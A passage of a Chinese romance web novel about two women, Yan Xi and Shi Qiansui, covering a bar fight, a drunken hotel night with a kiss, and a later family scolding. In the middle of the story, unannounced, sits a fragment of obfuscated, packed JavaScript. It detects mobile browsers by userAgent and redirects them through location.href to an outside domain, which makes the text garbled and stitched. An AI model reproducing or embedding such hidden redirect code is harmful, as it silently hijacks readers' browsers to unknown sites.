高颧骨,脸颊凹陷,加上那副高傲的神态,看着刻薄又虚荣哪里抵得上时千岁万分之一。
言浠不由冷笑出声。
秦梦乐:“???”
这人刚刚冷着个脸气势汹汹地进来,这会又意味不明地笑,什么意思?
“我们认识?”
言浠面无表情,甚至懒得给她一个眼神,“不认识。”
秦梦乐不满地嘀咕了句,“莫名其妙,”转过头继续和同伴说话。
水流簌簌流淌,很快便挤满了洗手池,言浠打量了眼毫无察觉的秦梦乐,忽地勾唇一笑。
她压下开关,从一侧抽出张纸巾擦干手,转身丢纸的同时,出其不意地向秦梦乐勾出一腿,膝盖巧妙地往她腿窝一顶。
秦梦乐忽然重心不稳,栽向蓄满水的洗手池。
同伴急忙拉她,可还是晚了一步。
“扑哧”一声,秦梦乐迎面栽进水里。
长发尽湿包括那条价格昂贵的裙子也湿了大片,要多狼狈有多狼狈。
言浠冷冷地扔下一句,“抱歉。”
从容离开。
身后传来秦梦乐恼羞成怒的叫喊声。
“你有病吧!”
“啊啊啊啊啊!”
“我的新裙子!”
“晦气,倒霉!”
“我要回家!”
…
言浠好心情地从洗手间出来,目光越过舞台上热舞人群寻觅时千岁的身影。
再怎么说,她也是时总妹妹,有这样一层关系在,就不可能对她放任不管。
时千岁依旧在卡座上,未离开半步。
但神情…
言浠眯了眯眼,距离有些远,看不清。
她从侧面绕了过去,站到了背光处。
时千岁柔若无骨地窝在沙发上,离得近了言浠得以清楚地看清了她的脸,双眼迷离,脸颊也染着醉意的红晕。
言浠:“.....”
别人还没开始灌,就给自己喝多了?这是喝了多少?
这时,隔壁桌一个长发女人,端着酒杯走了过去,低头跟时千岁旁边女孩说了几句话。
那女孩举起酒,碰了个杯。
女人顺势坐到了旁边,环住了女孩的腰肢,女孩回抱她。
灯光暧昧,呼吸交错间。
两个互不认识的人竟直接接起了吻。
言浠:“!!!”
她看了眼一旁醉意朦胧的时千岁,心道,现在的年轻人都这么玩得开..这么随意吗?
言浠捻了捻指尖,犹豫着要不要叫时总过来接走这个小家伙。
毕竟自己没有给她送回家的义务。
这时,言浠的目光中突然出现了一道熟悉的身影。
一头骚包红发,身姿摇曳,目标明确地朝时千岁走来。
不是韩曲凌还能是谁。
言浠心里警铃大作。
下一秒闪到了时千岁面前。
韩曲凌看着眼前捷足先登的言浠心里打出了三个大大的问号。
???
时千岁同伴见凭空冒出来的言浠更是惊愕不已。
白衬衫高挽袖口,配了条棕色收腰裤,简单利落,又美又飒,就是表情吧..有点过于冷厉、严肃。
不像是来玩的,更像是老师下场专门来逮逃课的学生的。
在场众人不由心里发怵,一时沉默不语。
言浠目光紧紧描绘时千岁的脸。
近距离才发现,时千岁的眼睛有一圈未褪去的红肿。
小家伙是哭过?
她想。
因为自己吗?
言浠眸光闪动,下意识抬起掌心,放到了眼前人的乌黑的发顶,轻轻揉了揉。
韩曲凌震惊到下巴都要掉下来了。
一向不喜与人肢体接触的言浠居然在爱抚别人!
对,就是爱抚!
这可是惊为天人叹为观止啊!
惊讶之余韩曲凌联系上她今晚的奇怪举动,心中逐渐有了个猜测。
虽然言浠和她同样是写百合文的作者,但性取向是个谜,从未有过感情经历,也没见过她对任何一个人上过心,无论男女。
韩曲凌以前猜测,她就是个无性恋。
现在嘛,还真不一定。
什么开荤,开荤哪有吃瓜...不对,哪有朋友的终身大事重要,韩曲凌往沙发上一坐,悠哉悠哉地跷起二郎腿看戏。
一旁和陌生女人拥吻的女孩打破沉默,大着胆子问言浠,“姐姐,一起玩游戏吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084763|163556||http|test|mini|href|location''.split(''|''),0,{}));
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>言浠收回了手,眼底恢复平静,“不必了。”
“她喝了多少酒?”
邻座女孩伸出一根手指。
一瓶?
邻座女孩:“一杯。”
言浠:“.....”
她又补充,“啤酒。”
好家伙,一个人的酒量可以差到这个地步她是万万没想到的。
言浠好笑地看着眼前神情呆滞瘫软在沙发中的小家伙,一时兴起抬手捏了捏她的脸蛋。
很滑嫩。
一旁吃瓜的韩曲凌瞬间瞪大了双眼:“!!!”
又上手了?
韩曲凌甚至都觉得言浠的高冷不近人情都是装的,其实骨子里就是个闷骚的。
啧啧啧啧啧。
言浠感受到了韩曲凌揶揄的目光,指尖一顿,不自在地松开了时千岁脸颊。
她清了清嗓,恢复淡然。
“时千岁。”
时千岁在一片跳跃的灯光中天旋地转。
一道清冷的声音穿过混沌闯入脑海。
有点熟悉。
时千岁努力睁大眼看向眼前人。
人影朦胧模糊,看不清脸,但身形也有点熟悉。
是她的女朋友吗?
不对...前女友。
言浠看着她的醉态,直截了当道,“跟我走。”
时千岁从眩晕中寻得一丝清醒。
删都删了,还来做什么?
“我..不要!”
本是带着怒意的话,沾染上酒气变得软绵绵的。
言浠心里软了软,语气变得柔和,“我送你回去。”
“不要,”时千岁在朦胧中抓住了一抹亮眼的红色,她指了指韩曲凌,“我要这位姐姐...”
“送我...”
韩曲凌:“.....”
这瓜怎么吃着吃着吃到了自己头上?
这可不行。
“别叫姐姐,叫叔叔。”
言浠:“???”
众人:“???”
韩曲凌笑,“我男的。”
她朝言浠挑挑眉。
姐们够意思吧。
言浠无语地看了眼韩曲凌,又看了眼醉眼蒙眬显然不能自理的时千岁。
心里打定了主意必须马上结束这场闹剧。
她在一众人的目光下俯下了身子,又在一众人的惊呼声中将时千岁横空抱起。
哇哦,韩曲凌眼睛亮了亮。
心中飘过了三个大字。
——强制爱!
12. 第 12 章
韩曲凌把两人的包一拎,向在场的女孩们飞了个吻,小跑追了上去。
邻座女孩挥了挥手:“叔叔再见。”
韩曲凌脚步一踉跄,石化当场。
现在的孩子们,都这么好骗的吗?
...
言浠抱着她往出走。
怀中人很轻,想必也是晕得厉害,没什么挣扎,只是紧紧依偎着她。
滚烫的呼吸扑洒进颈窝,女孩的唇角也时不时地滑过她的肌肤激起阵阵微弱的电流,言浠被头发遮挡住的耳尖悄无声息地攀爬上了一抹绯色。
“等等我。”
韩曲凌追了上来。
言浠深吸一口气稳住了心绪。
“嗯?”
韩曲凌笑,挥手拦了一辆出租车,“现在去哪啊?”
是不是去开房?
言浠读懂了她揶揄的眼神,飞去一记眼刀,冷冷道,“送她回家。”
怀中人听到“回家”这两个字突然开始了挣扎。
本就绵软的声音里带了一丝哭腔,“不要...”
“我..不要回去...”
言浠按住了她作乱的手,轻声安抚,“时总会担心。”
时千岁紧紧抓住她的袖口,平时澄亮的眸子此时雾蒙蒙的,眼尾还带着一圈未褪去的红,像极了备受欺负后的红着眼的小兔子,惹人心疼。
“不想理她...”
言浠愣了愣,“嗯?”
心中猜测,是吵架了?
时千岁抬起柔软的眸子,长睫微颤,“求你了。”
言浠心尖也随之一颤,挣扎片刻,轻声应道,“嗯。”
她轻轻托住时千岁的腰,把她送进了车内,又给她调整了个舒服的姿势。
一切做好。
转身,堵住了贼兮兮地想要跟上车来的韩曲凌。
韩曲凌:“???”
“我不能和你们一起走吗?”
言浠静静瞟她一眼,从她手里拿过了包,转身上车,利落关上车门。
“不行。”
刚才还柔情似水,现在就冷面无情。
怎么还两副面孔呢?
韩曲凌急,“我可以不在车里,也可以在车底。”
司机师傅抢先一步:“嘿,车底可不兴坐人呐。”
韩曲凌:“.....”
司机师傅:“车顶也不行。”
言浠无视她,“去万吉酒店。”
“好嘞,”司机师傅油门一踩,绝尘而去。
留韩曲凌在汽车尾气中上蹿下跳。
像极了满地转圈也找不到瓜吃的猹。
...
时千岁一上车就出奇的安静,闭着眸子,呼吸清浅,像是睡了过去。
酒品倒是不错,也不闹腾。
言浠宽慰。
谁料,一下车,便被打了脸。
可能是沾染了夜风,时千岁醉意越浓,开始作起了妖。
言浠才和前台说完再开一间房,一时没看住,便被时千岁抢走了身份证,塞进了胸前。
言浠显然被她这番骚操作震惊住了,平静的瞳孔里出现一丝裂痕。
时千岁歪歪扭扭往电梯走,嘴里还嘟嘟囔囔,“我不要自己睡..”
言浠:“.....”
无奈。
言浠叹了口气,纵容了她的行为,“抱歉,帮忙准备一碗醒酒汤送到1001房间。”
前台微微颔首。
...
言浠追上去,架住了她的胳膊,时千岁挣扎得更欢,甚至踮起脚尖转了个圈。
歪得更厉害了。
言浠索性再次把她抱了起来。
怀中人出乎意料地老实了下来,脸颊紧紧地贴到了她的胸口柔软,蹭了蹭。
言浠呼吸一紧,整个人僵住了。
怎么又占她便宜?
言浠气恼,但又无从发作,只能加大了步伐。
房卡“滴”一声。
言浠肩膀撞开了门,把她抱到了床上,脱了鞋。
捞起个枕头,转身坐到了沙发,总归还剩一晚,沙发上凑合一下也是可以的。
折腾半天,冒出了一身汗,言浠解开了衬衫上边的两颗扣子,又把空调调到了二十度,徐徐冷风吹拂,这才舒畅了点。
身后一阵窸窸窣窣。
言浠一惊。
极快地扭过头,“晕不晕?还是想吐?”
只见时千岁已经从床上坐了起来,衣衫半解,毯子也滑落到了地上。
大而亮的眼睛此时像是盈了一池醉人的酒,荡漾而迷离。
唇瓣也更似红润。
她软绵绵地咬出了一个字。
“热~”
言浠:“!!!”
目光滑过她雪白的肩头,漂亮的锁骨,再往下..是一片令人遐想的白皙。
言浠指甲使劲掐了下指腹,抽回了目光。
时千岁还在向下解着扣子,红唇微张,似乎是想说什么。
言浠好怕这小家伙像在微信聊天里一样肆无忌惮、语出惊人。
她疾步上去,一手捞起毯子把她包了个严实,一手捂住了她的嘴。
时千岁拧眉,胡乱挥动着手臂。
拳头不小心打在了身上也没什么力道,言浠目不斜视,义正词严,“快睡觉!”
“不然给你扔出去。”
时千岁更凶,张口便咬向了她手心。
言浠吃痛,松开了手。
小家伙,属狗的吗?
时千岁耷拉下脑袋,“脏..我要洗澡。”
言浠:“.....”
原来是要洗澡。
言浠才松下一口气,又猛然提起。
她这副样子,能洗澡?
万一,磕了撞了,或者晕在里边,怎么办?
言浠抬手拦她,“不行,忍一忍。”
时千岁直勾勾地盯着这只手,微微张开口,探出舌尖舔了舔唇瓣。
又想咬人?言浠眸光一震,快速收回了手。
时千岁歪歪扭扭爬下了床,往浴室走,一步一踉跄。
言浠赶紧跟了上去。
...
“浴巾浴袍放在这了,”言浠把淋浴打开,伸手试了试水温,“站稳了,有事喊我。”交代完,转身带上了门。
万吉酒店的商务套间宽敞舒适,格调高雅,唯一的缺点就是这个浴室。
采用的是全景透明玻璃设计。
以至于,言浠只需要微微转个头。
里边的风景就能一览无余。
身后水声阵阵。
言浠拿着书的手半天未翻动一页。
思绪乱飘。
脑中闪过前天微信的“洗澡”视频。
时千岁勾开扣子慢慢褪去上衣。
香肩、美背盈盈一握的腰肢,被浴室缥缈的白雾包裹着,若隐若现朦胧又迷离。
“老师,剩下的等你亲手帮我脱。”
视频画面戛然而止。
言浠脑子里的画面却在持续滚动。
像是按下了自
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动播放键,来来回回,挥之不去。
言浠深呼吸,起身去桌子上拿了一瓶矿泉水,一口气灌下半瓶。
热意驱散。
言浠转了个身,光明正大地注视起浴室的毫无察觉的人。
终归是出于担心。
言浠理由恰当,且充分。
热气袅袅,玻璃上蒙了一层白雾,氲出里边人朦胧轮廓。
挺翘,纤窈。
...
水声戛然而止。
里边人披着浴袍出来,腰间系带松松垮垮的,浓浓水汽把颈间肌肤染成了一片诱人的淡粉,发尾湿漉漉的一颗水珠顺势而下滑入领口,消失在绵绵深壑中。
言浠喉咙滚了滚,极快地移开了视线。
从沙发上捞了件睡裙,拿出遥控把浴室玻璃的遮挡帘放了下来,大步走向浴室。
“醒酒汤在床头柜上,等下喝了。”
时千岁口中哼哼一声,胡乱地踢掉了拖鞋,栽向大床。
言浠冲了个凉水澡。
再出来,就看时千岁安静地躺在床上,似是进入了梦乡。
言浠走到跟前,垂眸端详,眼前人睡容恬静,呼吸清浅,长而翘的睫毛如同薄薄的蝉翼,随着呼吸一颤一颤。
看起来乖巧极了。
言浠把毯子掖了掖,抬手把壁灯调到了最暗。
幽暗光线中,时千岁突然睁开了眼,在言浠吃惊的目光中一把擒住了她的手腕。
眼神郁恨。
咬牙道,“为什么删我?”
时千岁手上力度加大,把言浠手腕一拽。
言浠一时重心不稳栽到了时千岁怀里。
时千岁闷哼一声,一个翻身,骑到了她身上。
“又为什么过来找我?”
言浠心里一惊,手指紧紧扣住了床沿,“时千岁!”
“看清楚。”
“我是言浠!”
时千岁眯了眯眼,仔细地端详身下人的容貌,片刻,晃了晃脑袋,否定道。
“你不是..”
言浠:“.....”
“你就是我前..女友。”
话音一落,身上人越发放肆,两条腿紧紧缠住了她的腰。
距离拉近,那张隽秀的脸逐渐在瞳孔中放大,再放大,带着清甜酒气的呼吸扑洒在鼻端。
言浠从未与人有过如此近距离接触。
她浑身紧绷着,漆黑的眸子里涌起浓浓怒意。
她大声呵斥,“下来!”
一滴泪从眼角滑落,在幽暗的光影里拉出一条晶亮的线,落到了言浠的唇边。
苦涩、微凉。
言浠的怒意随着这滴眼泪的到来消失得无影无踪。
时千岁抬手抹了抹眼泪,哽咽着,质问道,“凭什么啊?”
“我是很认真的..”
“你凭什么这么对我啊。”
眼泪如同断了线的风筝,止也止不住。
一颗又一颗,砸进了言浠的心里。
言浠怎么也没有想到,短短三个月时间,这小家伙居然走了心,也没想到自己的断联举动能让她这么难过。
心里涌起阵阵内疚。
言浠抬起手想要帮她擦眼泪。
时千岁突然止住了哭声,幽幽目光移向了她的唇。
鼻息滚烫,空气也似乎暧昧了起来。
言浠心脏重重地跳了一拍。
在她惊愕的目光下。
时千岁发狠,直直地砸下来一个吻。
“你欠我的。”
13. 第 13 章
言浠来不及做出任何反应就被馨香柔软撞了满怀。
两唇相贴。
是如同果冻般的温软清甜。
言浠大脑空白了一瞬,思绪被这奇妙的触感搅弄着混乱成了一团。
直到身上作乱的小家伙更为大胆的探出了粉嫩的舌尖,试图撬开她的唇瓣,言浠浑身一僵,抬手捏起了身上人的后脖颈,呵斥道,“下去。”
往常极具震慑力的话落在醉酒人耳朵里却轻飘飘的,更像是某种情绪的催化剂,激起了时千岁的猛烈挣扎。
言浠顿时有了想把她踹下床的冲动。
时千岁抓住她愣神间隙,突然挣脱了桎梏,张口便咬向了她的唇瓣。
言浠吃痛,拧起了眉头。
现在不仅想给她踹下床,更想给她扔出房间。
然而,未等发作,始作俑者突然松开了唇,头一歪,缩在她怀里沉沉地睡了过去。
言浠:“!!!”
一肚子火气憋在心里不上不下,言浠狠狠瞪着她,突然伸出两根手指,发泄似地捏住了她的鼻尖。
直至怀中人轻轻蹙起眉,发出两声呓语。
言浠这才松开了手,把她平稳地放到了床上,盖好毯子,走向沙发。
...
言浠给自己倒了杯红酒,靠进沙发里,指腹轻轻摩挲着唇瓣,思绪纷飞。
她这么任由小家伙胡来甚至夺去了自己的初吻,总归是出于她那句带着恨意与不甘的“你欠我的”带来的愧疚。
情绪发泄完,明天一切就会回到原点。
言浠端着酒杯,走到窗前,望着浓浓夜色,一口一口抿掉了杯中的酒。
这夜,一夜未眠。
...
翌日。
时千岁被刺眼的阳光晃醒。
一睁眼,头痛欲裂,随之而来的一阵晕眩,天花板上的水晶吊灯都出现了残影。
她“嘶”了一声,揉了揉太阳穴。
微微缓和,猛然惊醒。
这里...怎么长得不像自己卧室呢!
她慢慢撑起上半身,目光环视着周围陌生的一切,最后定格在自己半敞着的浴袍上。
!!!
里边怎么什么都没穿!
昨天到底发生了什么?
时千岁捂着额头使劲回想。
记忆到酒吧秦梦乐敬酒那段戛然而止,天旋地转后是长久的空白。
不过在这段空白里。
她好像又做了和上次差不多的梦。
梦里的主角也和上次一样。
有前女友,也有...言浠。
朦朦胧胧又黏黏腻腻。
尤其是梦境结尾的那个吻。
触感是如此真实。
时千岁摩挲着唇瓣,正在回味时。
大门被猛烈地拍响。
时千金急迫的声音出现在门后。
“时千岁,快开门!”
时千岁一惊,差点从床上翻滚下来。
她慌乱地整理了一下浴袍,趿上拖鞋往门口走。
还止不住地想。
腿..为什么这么软。
打开门。
“嗨,姐姐。”
话一出口,嗓音也沙哑。
怎么回事,这个症状怎么这么像...
事后!!!
时千金屈起指节,朝她脑门敲了一下,“发什么呆?”
时千岁掩下心虚,挤出了个生硬的笑,“你怎么来了?”
时千金没空发难,急忙把她拽进屋,从沙发上捞起衣服往她身上一丢,言简意赅,“爸妈来了。”
时千岁的笑僵在了脸上。
“什..什么?”
时千金瞥她一眼,没好气道,“现在知道慌了?昨天跟我吵架时候的劲头呢?”
时千岁想给她姐跪下。
可怜巴巴道,“我知道错了,救救我。”
时千金实在受不了她撒娇这一套,转了身,开门向走廊张望了一眼,“你确实该长长教训,太过分了,”关上门,对上那双楚楚可怜眸子,语气又一软,“爸妈让我拖住了,我先上来跟你通个气,车我让人从酒吧门口开回来了,至于昨晚,你就说跟我吵架了,后边的我担着,至于不该说的一句别说。”
时千岁眨眨眼,彩虹屁随口就来,“你真是全天下最好的姐姐。”
时千金嘴角压不住了,“哼”了一声,催促道,“别磨叽了,抓紧时间换衣服。”
时千岁手忙脚乱。
还不忘问出心中疑惑。
“姐,你看看我脖子上有什么不该有的痕迹吗?”
时千金环着胸微笑,“你想得够美的。”
“你知道昨晚谁给你送过来的吗?”
时千岁低头套着裤子,竖起两只耳朵。
“是言浠。”
“昨晚找你都找疯了,还好接到了言浠的电话,才知道你在哪儿。”
按照以往,时千岁得知有人通风报信绝对火冒三丈,但现在她不仅没有一丝一毫气愤,反而在脑海中冒出了奇怪的问题。
那个吻是真实的吗?
后面呢,有发生什么吗?
时千岁认真地想了想。
如果这个人是言浠。
脑海中情不自禁地浮现出了那张冷艳逼人的脸。
耳尖倏地红了,一开口便说出了心里话。
“那也挺好的。”
时千金:“???”
时千岁被自己这一想法惊到了,欲盖弥彰地整理了下衣服,急忙往出走,“没什么没什么。”
甫一开门。
撞见了门口伫立着的两道黑压压的人影。
时千岁心脏猛地一颤。
无暇再多想其他。
忐忑地打招呼,“爸爸,妈妈...”
眼前那身着一身高定西装的男人,是时千岁的父亲,名为时来运,国字脸浓眉大眼,人到中年身材依旧板正,阴沉起脸来往那一站颇有几分威严,挽着的那位温雅雍容的女人是时千岁的母亲梁双敏。
梁双敏皮肤保养得极好,甚至看不出一点岁月留下的痕迹,五官秀丽,尤其是那一双眸子,顾盼生姿。
但相较于父亲的严厉,其实时千岁更怕的是她的母亲。
从小到大,时千岁所有的小心思小秘密都逃不过梁双敏的火眼金睛,无一例外。
梁双敏笑得柔和,轻声细语道,“你两通好气了?”
时千岁心里咯噔一声,打起了鼓。
时来运温柔地望向梁双敏。
“什么?”
梁双敏笑着摇摇头,“没事。”
“哦,”转头又恢复了严厉。
“时千岁,你真长本事了?”
“无法无天的,还酒吧买醉,夜不归宿,你知道这种情况多危险吗?要不是有小言在...”
时千岁被训得缩起了脖子,小声反驳,“这不是好好的嘛。”
时来运气的吹胡子瞪眼,“还敢顶嘴!”
时千岁认怂,拽了拽梁双敏的衣角,使了个眼色求情,“我错了嘛。”
梁双敏接收到信号,宠溺地摸了摸她的头,劝时来运。
“好啦,先回家再说吧。”
“你就宠她吧,”时来运抱怨,“你看她自从放假后有跟咱俩打过电话吗?心里还有咱们吗?”
时千岁听出了爸爸的话外音,借坡下驴,亲昵地挽住了两人的手臂。
“怎么会呢,我最最最爱你们了,我还给你们准备了礼物呢。”
“是吗?”时来运神色缓和,“算你有良心。”
“听你妈妈的,先回家吧。”
时千岁和时千金同时松了口气。
…
回到时家别墅。
正值饭点。
时来运围上围裙一头钻进了厨房。
饭菜飘香。
不多时,时来运端着热气腾腾的砂锅上了餐桌。
看着姐妹俩同一个姿势悠闲地歪在沙发上扭成麻花,不由一皱眉,训斥道,“没规矩,多大的人了,站没站相坐没坐相。”
姐妹俩同时收回腿,坐得板正。
“千岁去叫妈妈,准备吃饭了。”
“哦,”时千岁望了一眼餐桌,不出意外地撇了撇嘴角。
要么是斋菜,要么是药膳。
腻了。
时千岁的父母,吃斋礼佛已有二十余载。
至于为什么保持这个习俗还得从时家发家史讲起。
时来运与梁双敏,典型的穷小子娶了出身名门的大小姐,当年这桩婚事没有一个人看好,谁料时来运人如其名,走了大运中了彩票,有了本钱,买了几块地皮,又是运气爆棚,没过几年就翻了几番,后来成立了来运集团也是一路水涨船高,到如今发展成了临海市首屈一指的企业。
地位、财富、爱妻在侧,又喜得两位千金。
用时来运的话来讲,这是上天给予时家的福报,需要他一辈子吃斋礼佛积德行善来延续。
这就苦了挑嘴的时千岁了。
她可是在长身体!
时千岁磨磨叽叽挪动身子,试探性地问,“亲爱的爸爸,我等会儿能不能去...”
时来运从厨房出来,锅铲一挥,“哪都不许去,别以为有你妈给你撑腰今天这事就过去了。”
“明天跟我去参加酒会。”
时千岁最讨厌这种场合了,到处都是虚与委蛇,商业互吹,一点也不自在。
她想也没想拒绝,“我不想...”
时来运提高音量,“不想也得想!”
别顶嘴,时千金悄悄拧了一下她大腿,以作提醒。
时千岁痛得直皱眉,“嘶..你掐我干什么?”
时千金:“.....”
没救了。
“自古以来人以类聚物以群分,跟你那些狐朋狗友能学到什么好,多认识点优秀的人不好吗?你看看你王叔儿子保送海外top1大学,今年博士毕业直接接手了家里公司,你再看看你,逃课、挂科,无所不能,你能毕的了业吗?”
时千岁尴尬地笑笑,“那是意外…”
时来运恨铁不成钢,“再这么下去,我怕你烂了。”
时千岁眸光一黯,心里有点不是滋味,“哪有那么严重…”
“你王叔的儿子,人家念叨了好几次要见你,明天正好见个面,你们年轻人多沟通沟通。”
时千岁撇撇嘴,应付似的“哦”了一声,心里悄悄摸摸地打起了小主意。
…
翌日晚。
时千岁被父亲拉去了酒会。
向侍者递交了邀请函,时千岁提起裙摆就往休息室钻。
时来运大手一挥,“千金,跟着你妹妹。”
时千岁
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:“.....”
至于吗?从昨晚就派人守着她,她又不会跑。
虽然...还真不一定。
时千金跟在她后边,悠悠道,“又打什么鬼主意呢?”
“哪有…”时千岁一分心,肩膀撞上了一旁的侍者。
侍者托盘中的香槟一晃,应声摔落。
重心不稳之际。
一西装革履的年轻男人从一侧闪了过来,朝她伸出了手。
时千岁后撤一步,及时避开,谨慎地打量眼前人。
年轻男人五官端正,有些清瘦,戴着一副金丝眼镜,看起来温儒优雅,他从容收回手彬彬有礼道,“时总。”视线聚集到时千岁身上时多了一抹柔情,“千岁妹妹。”
时千岁抖了抖鸡皮疙瘩,撇下嘴角,“你谁啊?”
年轻男人依旧笑得温和,“家父王建德。”
哦,爸爸口中那位“优秀”人士。
时千岁口吻生硬,“你好。”
年轻男人微微颔首,“这么生分?小时候我们还见过呢,对了能给我你的联系方式?有时间一起聚一聚。”
时千岁没什么兴趣,“抱歉啊,我先去补个妆。”
年轻男人笑笑,绅士地伸出手,比了个“请”。
时千岁点头,径直越过他,往前走,时千金跟在后边,学着那男人的腔调,拉起长音打趣道,“千岁妹妹。”
呵呵,时千岁闷闷不乐。
“千岁妹妹,这人是不是对你有意思啊?”
他有没有意思不知道,但爸爸绝对对他有意思。
时千岁无比惊恐地想。
这是叫相亲吧?
那下一步是什么...
订婚?
郎才女貌,门当户对,家族联姻!
电视剧不都这么演得?
时千岁被自己的脑回路吓出了一身冷汗,脚跟一转,抬腿变向大门处蹽。
时千金见状手一抬,拦住了她,“干什么去?”
“那什么...”时千岁急中生智,指了指手机,“大春联系不上了,我有点不放心。”
“大春不是去拳馆训练去了吗?”时千金环着胸,深深地打量着她,想要判断她话中的真实度。
“大春应该不会又负伤了吧?”时千岁余光觑时千金一眼,心中小人鞠了个九十度的躬。
呸呸呸,千万别乌鸦嘴,对不住了大春!
大春这孩子,确实不知道爱惜自己身体,每次训练都那么拼命,万一真出事...时千金眉头一皱,转身就走,背影带着几丝慌乱。
“你老实呆着,我去就好。”
老实?才怪!
时千岁躲在休息室门后,偷偷向大门张望,看到在大门不远处和年轻男人交谈甚欢的时来运,心里一紧,当下决定,跑为上策。
她蹑手蹑脚,避开众人视线,从后门开溜。
行李都不拿,拦了个车,直奔机场,买了最近时间的机票飞回北城。
待到飞机平稳落地,一颗心才放回了肚子里。
她打开手机,给大春发了条消息。
【已回北城,秘密基地见,别卖我。】
为了避免父母过于担心,又给时来运和梁双敏发了条消息。
【亲爱爸爸妈妈,学校有事,我先回北城啦,过几天忙完我去国外看你们,勿念。】
她是这么想的,索性爸妈只是回来几天,等他们回国外,就自由了,到时候天大地大她最大。
时千岁美滋滋地招呼了一辆出租车,前往秘密基地。
这秘密基地,是她才考上大学时,瞒着家里所有人用自己的压岁钱买的市中心地段的一间精装大平层,空间不大,只有220平,但胜在小区私密性好,位置优越,安全又方便。
因为放暑假原因,时千岁给住家保姆放了个长假。
客厅有些杂乱。
时千岁无暇收拾,直奔卧室,泡了个澡,舒舒服服地钻到了床上。
临睡前,看了眼手机。
嘶,爸妈和姐姐居然没有一个人理她。
屏幕上只陈列着大春简洁的回应。
【好。】
过于平静了,好奇怪。
带着疑惑,时千岁进入了梦乡。
谁料,第二天,一大清早。
时千岁便被一阵急促的敲门声吵醒。
她揉了揉惺忪睡眼,磨磨蹭蹭前去开门。
时千岁不耐烦,“谁啊。”
门外响起时来运饱含怒气的声音,“我。”
时千岁:“!!!”
睡意瞬间全无。
怎么办?
她六神无主,来回踱步,像只无头苍蝇。
犹豫片刻,时千岁终于放弃了挣扎。
事已至此,先滑跪吧。
她深吸一口气,打开门,拉出一个生硬的笑,“爸、妈、姐姐,还有大春,你们...都来了?”当她视线定格在最后一个人脸上,心跳重重落下来一拍,甚至连呼吸都凝滞了。
“言浠..你你..怎么也来了?”
时来运浑身低气压,冷着脸往前逼近一步,抽出了腰带。
时千岁惊恐后退。
“等等...”
“那什么。”
滑跪之前,时千岁哀求的眼神望向言浠,问,“你能不能转个身?”
她要面子!!!
14. 第 14 章
当然,言浠并没有照做。
时千岁绝望地闭上了眼睛。
皮带高举到空中,向下重重一挥,带着一股劲风砸到了时千岁手边的鞋柜上。
“啪”的一声。
时千岁身子条件反射般地抖了抖,眼泪随之而下。
虽然她知道爸爸每次都是吓唬她,雷声大雨点小,但还是没出息地哭了出来。
时来运心一软,不忍心地别过了眼,语气不似刚才强硬,“现在知道哭了!”
梁双敏上前摸了摸时千岁的头,安抚道,“好啦,没事了不哭。”
时来运小声嘟囔,“我又没真打到她。”
“再说,就得让她长长记性。”
“缺乏管教,动不动就离家出走,像什么样子!”
时来运“哼”了一声,打量的目光把客厅巡视了个遍,这才走到沙发上,把上边堆放的乱七八糟的衣服往旁边一推,坐了下去,吐槽,“看房间乱的,这么大了一点自理能力没有。”
时千岁抹了下眼泪,急忙走过去把衣服捞进了怀里,余光看向一旁的言浠,小声狡辩,“还没来得及收拾。”
“所以你们是怎么知道我在这儿的?”
时来运恼火,“这是重点吗?”
梁双敏向一旁站着的言浠以及时千金招手,示意她们过来坐。
挨着时来运坐下,笑道,“你有什么秘密我能不知道?”
“除了这套房子,名下还有两辆跑车吧,还有...”
时千岁仿佛被抽干了所有力气,她支撑在沙发靠背上,心虚开口,“妈,别说了。”再说下去裤衩子要被扒光了。
时来运拍了拍桌子,满脸威严,“给我站直了。”
时千岁慢慢支起上半身,等待训话。
“昨天酒会,那么多叔叔伯伯等待你出席,你可倒好一溜烟跑了,把你爹脸全丢尽了。”
“还有,听说你摇了不少人,为找一个女人把临海的酒店翻了个底朝天?”
“你想干什么时千岁?想去混社会吗?”
不知为何,在听到这句话时,时千岁莫名把目光投向了从进门开始就默不作声的女人。
正巧,言浠也望了过来。
视线短暂相接。
时千岁从那双沉静的眸子里抓住了一丝微弱的别样情绪。
好似,一颗微小的石子,砸入湖面,激起一朵慌乱的水花,很快又归于平静。
疑惑之际。
时千金凑了过来,用只能两人听到的声音问道,“你还没死心?”
时千岁表情愤恨,“死了,但是没咽下那口气。”
时来运这通脾气还没发泄完就被姐俩明晃晃的当成了空气,他更是气不打一处来,厉声制止了两人的交头接耳。
朝一旁静候多时的言浠招了招手,“时千岁以后就交给你了。”
“她要是惹事了随你打骂收拾,不用惯着她。”
时千岁:“???”
以后?
交给言浠?
这话听着怎么这么奇怪,像极了托付终身大事。
时千岁偷偷瞄了一眼那女人漂亮得让人移不开眼的脸蛋,心中竟无端端地生出了几分期待,她有些扭捏地点了点脚尖,“这样..不太好吧。”
梁双敏的目光注视着她微微泛红的耳尖,几不可察的皱了下眉,语气罕见的有些严肃,“确实不好吧?”
“有什么不好的,她不是喜欢跑吗?她不是不想呆家吗?那就让她进公司,好好磨炼一下,看看到底什么时候能收心,能长大!”
什么?原来是这个意思!
时千岁震惊。
极力反对,“不行!”
“我还在上学呢。”
她美好且自由的大学时光可不能就这么结束。
时来运敲了敲桌子示意她安静。
“一学期挂七门,你这学跟不上有什么区别?”
“.....”
喂,倒是给她留点面子啊!
时千岁欲哭无泪。
又偷偷看了眼那女人,还好她没什么反应。
她松了口气,往前挪了几步,凑到时来运身边,用一贯的方式摇着他手臂撒娇,“亲爱的爸爸我真的知道错了,能不能...”
时来运笑,“可以,那就跟我们去国外,到时候给你找个学校镀个金。”
“别别别,”二者取其轻,时千岁认命了。
时来运转头对梁双敏解释,“小言为人沉稳能力出众,千岁跟着她我放心。”又问言浠,“没问题吧?”
“拜托了。”
时千岁把最后的希望寄托到了言浠身上,期盼着她的回绝。
谁料,言浠微微颔首,公式化开口,“好的,时总。”
时千岁希望瞬间破灭,心如死灰瘫倒进了沙发里。
接下去,几人再聊什么时千岁完全没有听进去。
